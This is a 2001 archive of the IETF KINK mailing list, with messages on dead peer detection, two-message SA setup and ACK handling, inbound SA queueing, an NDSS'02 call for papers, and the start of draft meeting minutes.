(8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA17874; Wed, 15 Aug 2001 12:20:19 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15226.52083.573781.329871@thomasm-u1.cisco.com> Date: Wed, 15 Aug 2001 12:20:19 -0700 (PDT) To: ietf-kink@vpnc.org Subject: dead peer detection X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: It was brought up at the last IETF that dead peer detection should be considered by the protocol upfront. I agree, this would be a very good thing to nip at the bud, as it were, since this has been a nagging problem with IKE. I spoke the Bill Sommerfeld afterward and he mentioned his idea of using "birth certificates" for IKE. I think that we can adapt his idea in a pretty straightforward way for KINK. Namely, we have a pretty good source of synchronized time from the KDC (needed for kerberos replay protection). What I'd like to propose is that we: 1) Add an epoch to the KINK header which is a 4 byte epoch timestamp which defines the validity epoch of currently instantiated SA for a principal 2) That KINK peers MUST record the epoch for the principal that instantiates SA's in its SADB 3) A KINK peer MUST reap any SA's if it determines that the current epoch for a principal is greater than the currently recorded epoch 4) A KINK peer MAY use a notificationless STATUS command to determine the peer's epoch 5) A KINK peer SHOULD, upon receipt of IP packets with unknown SPI's, try to correlate from the SPD which peers might have stale SPI's and alert them by sending a STATUS message with the current epoch 6) A KINK peer MUST make certain that its local time is within the time skew limits imposed by Kerberos before setting the current epoch. Thus, the normal flow after reboot of Alice where Bob still has unexpired SPI's would be: Alice Bob 0) [reboots] 1) <--------------------SPInnn 2) STATUS epoch=new----------> 3) <---------------------REPLY 4) <-------------DELETE SPInnn 5) REPLY---------------------> [possibly followed by a CREATE, of course] From owner-ietf-kink Fri Aug 17 13:46:22 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f7HKkMo06228 for ietf-kink-bks; Fri, 17 Aug 2001 13:46:22 -0700 (PDT) Received: from sentry.gw.tislabs.com (firewall-user@sentry.gw.tislabs.com [192.94.214.100]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f7HKkKN06217 for ; Fri, 17 Aug 2001 13:46:20 -0700 (PDT) Received: by sentry.gw.tislabs.com; id QAA01200; Fri, 17 Aug 2001 16:50:47 -0400 (EDT) Received: from clipper.gw.tislabs.com(10.33.1.2) by sentry.gw.tislabs.com via smap (V5.5) id xma001176; Fri, 17 Aug 01 16:49:57 -0400 Received: (from balenson@localhost) by clipper.gw.tislabs.com (8.9.3/8.9.1) id QAA09540 for ietf-kink@vpnc.org; Fri, 17 Aug 2001 16:45:31 -0400 (EDT) Date: Fri, 17 Aug 2001 16:45:31 -0400 (EDT) From: "David M. Balenson" Message-Id: <200108172045.QAA09540@clipper.gw.tislabs.com> To: ietf-kink@vpnc.org Subject: CFP: Submission deadline for NDSS'02 extended to Aug 29th Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Due to the unusually large number of requests for an extension, the submissions deadline for NDSS'02 has been extended to Wednesday August 29, 9:00am EST (U.S. east coast time). Paul Van Oorschot and Virgil Gligor Co-Chairs, NDSS'02 C A L L F O R P A P E R S Internet Society's 2002 Network and Distributed System Security Symposium (NDSS'02) Catamaran Resort - San Diego, California February 6-8, 2002 IMPORTANT DATES Paper and panel submissions due August 22, 2001 Author notification October 17, 2001 Final version of papers and panels due November 20, 2001 GOAL: The symposium fosters information exchange among research scientists and practitioners of network and distributed system security services. The target audience includes those interested in practical aspects of network and distributed system security, with a focus on actual system design and implementation (rather than theory). A major goal is to encourage and enable the Internet community to apply, deploy, and advance the state of available security technology. The proceedings are published by the Internet Society. GENERAL CHAIR: Clifford Neuman, USC Information Sciences Institute PROGRAM CO-CHAIRS: Paul Van Oorschot, Entrust Technologies Virgil Gligor, University of Maryland TUTORIAL CHAIR: Eric Harder, National Security Agency LOCAL ARRANGEMENTS CHAIR: Thomas Hutton, San Diego Supercomputer Center PUBLICATIONS CHAIR: Mahesh Tripunitara, Purdue University PUBLICITY CHAIR: David Balenson, NAI Labs, Network Associates LOGISTICS CHAIR: Terry Weigler, Internet Society PROGRAM COMMITTEE: Steve Bellovin, AT&T Labs Research Dan Boneh, Stanford University Bill Cheswick, Lumeta Corporation Li Gong, Sun Microsystems Peter Gutmann, Univ. of Auckland, N.Z. Charlie Kaufman, Iris Associates Steve Kent, BBN Technologies Markus Kuhn, Univ. of Cambridge, U.K. Douglas Maughan, DARPA Kevin McCurley, IBM Almaden Research Gary McGraw, Cigital Fabian Monrose, Bell Labs Sandra Murphy, Network Associates Radha Poovendran, Univ. of Washington Michael Roe, Microsoft Research, U.K. Christoph Schuba, Sun Microsystems Clay Shields, Purdue University Jonathan Trostle, Cisco Systems Dan Wallach, Rice University OUTSTANDING PAPER AWARD: There will be an Outstanding Paper award. The award will be presented at the symposium to the authors of an outstanding paper, as selected by the Program Committee. SUBMISSIONS: Both technical papers and panel proposals are solicited. Technical papers must include a main body of at most 12 pages, with any additional details in clearly marked appendices for a combined total of at most 20 pages. Technical papers will appear in the proceedings. Panel proposals should be one page and must describe the topic, identify the panel chair, explain the panel format, and list three to four potential panelists. A description of each panel will appear in the proceedings, and may, at the discretion of the panel chair, include written position statements from the panelists. Submissions are solicited in, but not limited to, the following areas: * Integrating security in Internet protocols: routing, naming, TCP/IP, multicast, network management, and the Web. * Intrusion avoidance, detection, and response: systems, experiences and architectures. * Attack-resistant protocols and services. * Network perimeter controls: firewalls, packet filters, application gateways. * Virtual private networks. * Public key infrastructure, key management, certification, and revocation. * Secure electronic commerce: e.g., payment, barter, EDI, notarization, timestamping, endorsement, and licensing. * Supporting security mechanisms and APIs; audit trails; accountability. * Implementation, deployment and management of network security policies. * Intellectual property protection: protocols, schemas, implementations, metering, watermarking, digital rights management. * Fundamental services on network and distributed systems: authentication, data integrity, confidentiality, authorization, non-repudiation, and availability. * Integrating security services with system and application security facilities and protocols: e.g., message handling, file transport/access, directories, time synchronization, data base management, boot services, mobile computing. * Security for emerging technologies: sensor networks, specialized testbeds, wireless/mobile (and ad hoc) networks, personal communication systems, and large heterogeneous distributed systems. * Special problems and case studies: e.g., interplay and tradeoffs between security and efficiency, usability, reliability and cost. * Security for collaborative applications and services: teleconferencing and video-conferencing, groupwork, etc. Each submission must contain a separate Submission Overview specifying the submission type (paper or panel), the title or topic, author names with organizational affiliations, and must specify a contact author along with corresponding phone number, FAX number, postal address and email address. Submissions must be received by August 22, 2001, and must be made electronically in either printable PostScript or PDF. Each submission will be acknowledged by e-mail; if acknowledgment is not received within seven days, contact a program co-chair (see above). Authors and panelists will be notified of acceptance by October 17, 2001, and given instructions for preparing the camera-ready copy. The camera-ready copy must be received by November 20, 2001. FURTHER INFORMATION: Official dates, the final call for papers, the advance program, and registration information will be available shortly at http://www.isoc.org/ndss2002. For official submission information, visit http://www.isoc.org/ndss2002/cfp. Internet Society 11150 Sunset Hills Road, Suite 100 Reston, VA 20191 USA Tel: +1 703 326 9880 Fax: +1 703 326 9880 www.isoc.org 4, rue des Falaises CH-1205 Geneva Switzerland Tel: +41 22 807 1444 Fax: +41 22 807 1445 www.isoc.org From owner-ietf-kink Sun Aug 19 17:57:47 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f7K0vlN03069 for ietf-kink-bks; Sun, 19 Aug 2001 17:57:47 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f7K0vjN03065 for ; Sun, 19 Aug 2001 17:57:45 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f7K0w1T11349 for ; Sun, 19 Aug 2001 17:58:01 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id ACW00897; Sun, 19 Aug 2001 17:57:43 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id RAA18977; Sun, 19 Aug 2001 17:57:43 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15232.24711.325723.676876@thomasm-u1.cisco.com> Date: Sun, 19 Aug 2001 17:57:43 -0700 (PDT) To: ietf-kink@vpnc.org Subject: suggested workaround for "reliable acks" X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Considering that there isn't a technical obstacle to providing a solution for our charter and requirements item that KINK has the ability to set up an SA in two messages, I'm very, very reluctant to give it up just because of new found religion on the "it's more complex" front where the supposed complexity is manifestly not very high. Indeed, if we want to avoid unnecessary complexity, we would not have used Quick Mode which is a *lot* more complex than this issue. There are two choices, I'll list them in order of my preference: 1) With ACK's: o We mandate the respondent MUST request an ACK if it does not choose the first proposal, or if PFS was required by the initiator. o We eliminate Nr in the response o We put the reply on a timer, and retransmit until we get an ACK 2) Without ACK's: o We eliminate ACK's altogether o The respondent lives with the non-deterministic SA installation by the initiator when the optimistic route is not taken. I have some real reservations about (2) as this is a current criticism of IKE and it's somewhat specious to talk about something that "simpler" which is simultaneously broken. Mike From owner-ietf-kink Wed Aug 22 15:12:38 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f7MMCcd27845 for ietf-kink-bks; Wed, 22 Aug 2001 15:12:38 -0700 (PDT) Received: from fw.hel.fi.ssh.com (fw.hel.fi.ssh.com [193.64.193.124]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f7MMCaN27841 for ; Wed, 22 Aug 2001 15:12:36 -0700 (PDT) Received: from viikuna.hel.fi.ssh.com (viikuna.hel.fi.ssh.com [10.1.0.46]) by fw.hel.fi.ssh.com (SSH-1.27) with SMTP id f7MMCZf22258 for ; Thu, 23 Aug 2001 01:12:35 +0300 (EEST) Received: (qmail 15705 invoked from network); 22 Aug 2001 22:12:35 -0000 Received: from unknown (HELO ryijy.hel.fi.ssh.com) ([10.1.0.48]) (envelope-sender ) by viikuna.hel.fi.ssh.com (qmail-ldap-1.03) with SMTP for ; 22 Aug 2001 22:12:35 -0000 Received: (from kivinen@localhost) by ryijy.hel.fi.ssh.com (8.11.0/8.11.0) id f7MMCef15721; Thu, 23 Aug 2001 01:12:40 +0300 (EEST) Date: Thu, 23 Aug 2001 01:12:40 +0300 (EEST) Message-Id: <200108222212.f7MMCef15721@ryijy.hel.fi.ssh.com> X-Authentication-Warning: ryijy.hel.fi.ssh.com: kivinen set sender to using -f From: Tero Kivinen To: ietf-kink@vpnc.org CC: mat@cisco.com (Michael Thomas) Subject: Re: suggested workaround for "reliable acks" References: <15232.24711.325723.676876@thomasm-u1.cisco.com> Organization: SSH Communications Security Oy Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset="iso-8859-1" X-Edit-Time: 10 min X-Total-Time: 11 min Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: mat@cisco.com (Michael Thomas) writes: > 2) Without ACK's: > o We eliminate ACK's altogether > o The respondent lives with the non-deterministic SA > installation by the initiator when the > optimistic route is not taken. > > I have some real reservations about (2) as this is > a current criticism of IKE and it's somewhat > specious to talk about something that "simpler" > which is simultaneously broken. If you have been following the discussion on the IPsec list you notice that this is the way the IKE quick mode is moving to (or the other possibility is 4 packets). I don't really understand what is so hard or non-deerministic about this. The initiator has something he wants to send to the responder, he starts negotiation and sends his first packet, which includes SA, Ni, [IDs], [KE] etc. The responder sees that packet and selects whatever SA he wants and send reply back with SA, Nr, [IDs], [KE]. After sending reply back he creates the keying material and installs the SA. Now the initiator gets the reply packet which includes all the information needed to create the SA, thus he can install the SA and start using it. If he does not receive the reply packet for some time, he resends the first packet and in that case the responder will immediately retransmit his packet back. Now both ends have SAs up and the initiator starts sending the packets he has queued up waiting for the IPsec SA to be created. If the responder happens to have some packets to send between the time where he has installed the SAs, but before the initiator has set up his SAs (very unlikely event), then he will send the packets to the initiator with the SA that is know to the initiator, but to which he does not have keying material yet (the initiator knows the SPI, as it was selected by him). The initiator can just simply drop the packets if he feels like, or he might queue them up waiting for the SAs to come up. If this is rekey case then the responder will use the old SA as long as it is there, meaning that it moves to use the new SA when it is deleted via explicit delete or because it expired. It can have some kind of timer to send delete for the old SA itself if the initiator who started the rekey does not delete the SA after few minutes or so. -- kivinen@ssh.fi SSH Communications Security http://www.ssh.fi/ SSH IPSEC Toolkit http://www.ssh.fi/ipsec/ From owner-ietf-kink Wed Aug 22 15:54:28 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f7MMsSD28471 for ietf-kink-bks; Wed, 22 Aug 2001 15:54:28 -0700 (PDT) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f7MMsRN28467 for ; Wed, 22 Aug 2001 15:54:27 -0700 (PDT) Received: from eastmail1.East.Sun.COM ([129.148.1.240]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA25698; Wed, 22 Aug 2001 16:54:22 -0600 (MDT) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA07854; Wed, 22 Aug 2001 18:54:26 -0400 (EDT) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f7MMrn014589; Wed, 22 Aug 2001 18:53:49 -0400 (EDT) Message-Id: <200108222253.f7MMrn014589@thunk.east.sun.com> From: Bill Sommerfeld To: Tero Kivinen cc: ietf-kink@vpnc.org, mat@cisco.com (Michael Thomas) Subject: Re: suggested workaround for "reliable acks" In-reply-to: Your message of "Thu, 23 Aug 2001 01:12:40 +0300." <200108222212.f7MMCef15721@ryijy.hel.fi.ssh.com> Reply-to: sommerfeld@east.sun.com Date: Wed, 22 Aug 2001 18:53:48 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > The initiator can just simply drop the packets if he feels like, or > he might queue them up waiting for the SAs to come up. A few months ago I implemented inbound queueing of this form; it makes a *big* difference in reducing connection setup latencies (and typically means that the first "ping"/SYN packets get through, albeit with a significantly higher latency). > If this is rekey case then the responder will use the old SA as long > as it is there, meaning that it moves to use the new SA when it is > deleted via explicit delete or because it expired. It can have some > kind of timer to send delete for the old SA itself if the initiator > who started the rekey does not delete the SA after few minutes or > so. Note that different folks do this differently ( "use oldest" vs "use newest"; "use newest" recovers faster from a partial loss of state, though that's largely irrelevant if you have initial-contact. - Bill From owner-ietf-kink Wed Aug 22 16:21:12 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f7MNLCe29097 for ietf-kink-bks; Wed, 22 Aug 2001 16:21:12 -0700 (PDT) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f7MNLAN29093 for ; Wed, 22 Aug 2001 16:21:10 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f7MNLIn11436; Wed, 22 Aug 2001 16:21:18 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAE14436; Wed, 22 Aug 2001 16:21:06 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA19895; Wed, 22 Aug 2001 16:21:05 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15236.15969.729488.981377@thomasm-u1.cisco.com> Date: Wed, 22 Aug 2001 16:21:05 -0700 (PDT) To: sommerfeld@east.sun.com Cc: Tero Kivinen , ietf-kink@vpnc.org, mat@cisco.com (Michael Thomas) Subject: Re: suggested workaround for "reliable acks" In-Reply-To: <200108222253.f7MMrn014589@thunk.east.sun.com> References: <200108222212.f7MMCef15721@ryijy.hel.fi.ssh.com> <200108222253.f7MMrn014589@thunk.east.sun.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Bill Sommerfeld writes: > > > The initiator can just simply drop the packets if he feels like, or > > he might queue them up waiting for the SAs to come up. > > A few months ago I implemented inbound queueing of this form; it makes > a *big* difference in reducing connection setup latencies (and > typically means that the first "ping"/SYN packets get through, albeit > with a significantly higher latency). Bill, I'm having a hard time reconciling Tero's characterization of this being a rare situation (since it requires the initiator to lose the reply) and your characterization that make a *big* difference. I agree with Tero that it ought to be as rare as the chance of the initiator losing the reply which under normal circumstances shouldn't be very often. Are we talking about the same thing? Mike From owner-ietf-kink Wed Aug 22 16:27:41 2001 Received: by above.proper.com (8.11.3/8.11.3) id f7MNRfP29224 for ietf-kink-bks; Wed, 22 Aug 2001 16:27:41 -0700 (PDT) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f7MNReN29220 for ; Wed, 22 Aug 2001 16:27:40 -0700 (PDT) Received: from eastmail1.East.Sun.COM ([129.148.1.240]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA12479; Wed, 22 Aug 2001 16:27:38 -0700 (PDT) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA12487; Wed, 22 Aug 2001 19:27:37 -0400 (EDT) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f7MNR0015154; Wed, 22 Aug 2001 19:27:00 -0400 (EDT) Message-Id: <200108222327.f7MNR0015154@thunk.east.sun.com> From: Bill Sommerfeld To: Michael Thomas cc: sommerfeld@east.sun.com, Tero Kivinen , ietf-kink@vpnc.org Subject: Re: suggested workaround for "reliable acks" In-reply-to: Your message of "Wed, 22 Aug 2001 16:21:05 PDT." <15236.15969.729488.981377@thomasm-u1.cisco.com> Reply-to: sommerfeld@east.sun.com Date: Wed, 22 Aug 2001 19:26:59 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > Bill, > > I'm having a hard time reconciling Tero's > characterization of this being a rare situation > (since it requires the initiator to lose the > reply) and your characterization that make a *big* > difference. It's not rare if the first encrypted packet of traffic hits the initiator's inbound SA lookup before the KM reply is processed and the SA is fully built. If the KM reply is processed on a "slow path" (on solaris, we do key management in userland but ESP in the kernel), this sort of "reordering" happens more often than not.. - Bill From owner-ietf-kink Wed Aug 22 16:34:08 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f7MNY8K29479 for ietf-kink-bks; Wed, 22 Aug 2001 16:34:08 -0700 (PDT) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f7MNY7N29475 for ; Wed, 22 Aug 2001 16:34:07 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f7MNW9h00394; Wed, 22 Aug 2001 16:32:09 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAE14883; Wed, 22 Aug 2001 16:34:00 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA19898; Wed, 22 Aug 2001 16:34:00 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15236.16744.397873.220924@thomasm-u1.cisco.com> Date: Wed, 22 Aug 2001 16:34:00 -0700 (PDT) To: sommerfeld@east.sun.com Cc: Michael Thomas , Tero Kivinen , ietf-kink@vpnc.org Subject: Re: suggested workaround for "reliable acks" In-Reply-To: <200108222327.f7MNR0015154@thunk.east.sun.com> References: <15236.15969.729488.981377@thomasm-u1.cisco.com> <200108222327.f7MNR0015154@thunk.east.sun.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Bill Sommerfeld writes: > > Bill, > > > > I'm having a hard time reconciling Tero's > > characterization of this being a rare situation > > (since it requires the initiator to lose the > > reply) and your characterization that make a *big* > > difference. > > It's not rare if the first encrypted packet of traffic hits the > initiator's inbound SA lookup before the KM reply is processed and the > SA is fully built. > > If the KM reply is processed on a "slow path" (on solaris, we do key > management in userland but ESP in the kernel), this sort of > "reordering" happens more often than not.. Ah, thank you. The alternative of the convoluted (imo) inbound SA queuing you spoke of is to require Bob to receive the ACK from Alice before installing his outbound SA. Inbound queuing on a potentially volatile half opened connection seems rather... gross. It would be better to have this be completely deterministic for Bob and Alice. That's why I favor option (1). Mike From owner-ietf-kink Wed Aug 22 16:52:02 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f7MNq2h29813 for ietf-kink-bks; Wed, 22 Aug 2001 16:52:02 -0700 (PDT) Received: from fw.hel.fi.ssh.com (fw.hel.fi.ssh.com [193.64.193.124]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f7MNq0N29808 for ; Wed, 22 Aug 2001 16:52:01 -0700 (PDT) Received: from viikuna.hel.fi.ssh.com (viikuna.hel.fi.ssh.com [10.1.0.46]) by fw.hel.fi.ssh.com (SSH-1.27) with SMTP id f7MNq3f24051 for ; Thu, 23 Aug 2001 02:52:03 +0300 (EEST) Received: (qmail 731 invoked from network); 22 Aug 2001 23:52:03 -0000 Received: from unknown (HELO ryijy.hel.fi.ssh.com) ([10.1.0.48]) (envelope-sender ) by viikuna.hel.fi.ssh.com (qmail-ldap-1.03) with SMTP for ; 22 Aug 2001 23:52:03 -0000 Received: (from kivinen@localhost) by ryijy.hel.fi.ssh.com (8.11.0/8.11.0) id f7MNq9s15772; Thu, 23 Aug 2001 02:52:09 +0300 (EEST) X-Authentication-Warning: ryijy.hel.fi.ssh.com: kivinen set sender to using -f MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15236.17833.183893.342632@ryijy.hel.fi.ssh.com> Date: Thu, 23 Aug 2001 02:52:09 +0300 From: Tero Kivinen To: sommerfeld@east.sun.com Cc: Michael Thomas , ietf-kink@vpnc.org Subject: Re: suggested workaround for "reliable acks" In-Reply-To: <200108222327.f7MNR0015154@thunk.east.sun.com> References: <15236.15969.729488.981377@thomasm-u1.cisco.com> <200108222327.f7MNR0015154@thunk.east.sun.com> X-Mailer: VM 6.89 under Emacs 20.7.1 Organization: SSH Communications Security Oy X-Edit-Time: 22 min X-Total-Time: 21 min Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Bill Sommerfeld writes: > > I'm having a hard time reconciling Tero's > > characterization of this being a rare situation > > (since it requires the initiator to lose the > > reply) and your characterization that make a *big* > > difference. > > It's not rare if the first encrypted packet of traffic hits the > initiator's inbound SA lookup before the KM reply is processed and the > SA is fully built. > > If the KM reply is processed on a "slow path" (on solaris, we do key > management in userland but ESP in the kernel), this sort of > "reordering" happens more often than not.. This is for the rekeying case I assume. For the rekeying it is common case that the responder has something to send to the initiator, and if he switches to the new SA immediately after he sets it up, then the initiator might see traffic that he does not have keying material yet. This same thing also happens with the 3 packet quick mode currently defined in IKE when the initiator sends the final HASH and immediately starts sending ESP traffic using that SA. Now the responder usually will wait the HASH to arrive before installing the SA, which means that when the final qm packet arrives and is being processed by the userland ike daemon, the ESP traffic is at the same time already coming to the machine. This does not apply to KINK as responder can always install the SA immediately after seeing the first packet, thus he will have the SA state up and ready when the initiator starts using it. This same thing will be the case for the 2 packet quick mode for IKE also when the replay attack for quick mode has been solved by some other mean than requiring the 3rd packet. The case which I said to be rare is the case where initiator and responder do not have SAs up, and the initiator starts negotiation with responder and after the first packet of the quick has been processed by the responder the responder gets something it wants to send to the initiator before the initiator has processed the packet sent by the responder. I.e: Initiator Responder --------- --------- Gets a packet he wants to send to responder. Starts creating IPsec SA Sends SA, Ni -------------------> Receives SA, Ni Generates SA, Nr Calculates keying material Installs IPsec SA *start* <--------------------- Sends SA, Nr Receives SA, Nr Calculates keying material Installs IPsec SA *end* I.e if the responder suddenly gets some packet it wants to send to the initiator between time *start* and *end* it will send it using the SA which the initiator does not yet have keying material, thus the initiator either needs to queue it up or discard the packet. In normal case it would be very rare that the responder spontaneously happen to have something to send to the initiator which needs IPsec processing during this few milliseconds time. In normal case it is the time needed by the responder to send the packet it already has ready after the SA has been installed (one system call after the install SA returns, can be happening simultaneously if there is multiple processors in the system) plus the time needed by the initiator from receiving the 2nd quick mode packet from the ethernet to the point it installs the IPsec SA (this needs parsing of the packet, few hash calculations, and installing of SA). The time can be larger in case we are using PFS, in which case the initiator has to do rest of the Diffie-Hellman calculation before it can install the SA. Also if the 2nd quick mode packet is lost then we need to add retranmission time (or multiple of those if more packets get dropped) to get the actual time window. One case where this case might not be that uncommon is for some kind of clock syncronization protocol where both ends are sending each other a packet every hour or something. In that case both ends have data to send at almost the same time, and they either end up having two SAs in case the clocks are really on sync, or one SA, and then the machine that was slower in starting to send is going to have possibility that his packet is dropped by the initiator. There are multiple ways for the implementation to get rid of this problem. One could be that inbound queue for partial SAs, another could be that responder does not install the outbound SA immediately but only after some timeout or after seeing some traffic on inbound SA etc. For most of the case I think this problem is so rare, that we can just cope with one lost packet. The upper level protocol must have retransmission and ack system anyways if they really want the packet to reach the other end. -- kivinen@ssh.fi SSH Communications Security http://www.ssh.fi/ SSH IPSEC Toolkit http://www.ssh.fi/ipsec/ From owner-ietf-kink Fri Aug 24 11:03:01 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id f7OI31227913 for ietf-kink-bks; Fri, 24 Aug 2001 11:03:01 -0700 (PDT) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f7OI2xD27908 for ; Fri, 24 Aug 2001 11:02:59 -0700 (PDT) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id OAA03501; Fri, 24 Aug 2001 14:02:59 -0400 To: ietf-kink@vpnc.org Subject: Draft minutes from KINK meeting in London From: Derek Atkins Date: 24 Aug 2001 14:02:59 -0400 Message-ID: Lines: 149 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Sorry for getting these out so late. My thanks to Bill Sommerfeld for taking these minutes (and getting them to me a LONG time ago!) Let me know if there are any mistakes or omissions. -derek KINK meeting, 1pm 2001/08/09, Blenham room agenda bashing protocol update (michael thomas) draft status changes done: added status command (for QM notifications) make use of QM explicit clarified padding rules hopefully the same as ISAKMP added valid kerberos errors, plus a KINK internal error type errors copied from RFC1510 perhaps need more guidance on error recovery header rearranged a bit reserve some bits for something mike can't remember added PFS, security considerations per consensus of last meeting clarified U-U and Encryption wording misc others (noted in the draft) to do: general editorial pass MUST/SHOULD .. Last Call soon? implementation status cisco implementation under way for past month relatively few snags from draft cross between FreeS/Wan Pluto (ISAKMP) and kerberos -> named "goofy" most MUST/SHOULD features implemented General: Create/Delete/Status/GetTGT still need optimistic keying and integration with pluto quick mode sanity check: - use quick mode payloads, but isn't quick mode per se. - uses ID, SA, Nonce, and KE - does not use HASH or ISAKMP header - Nr (responder nonce) is 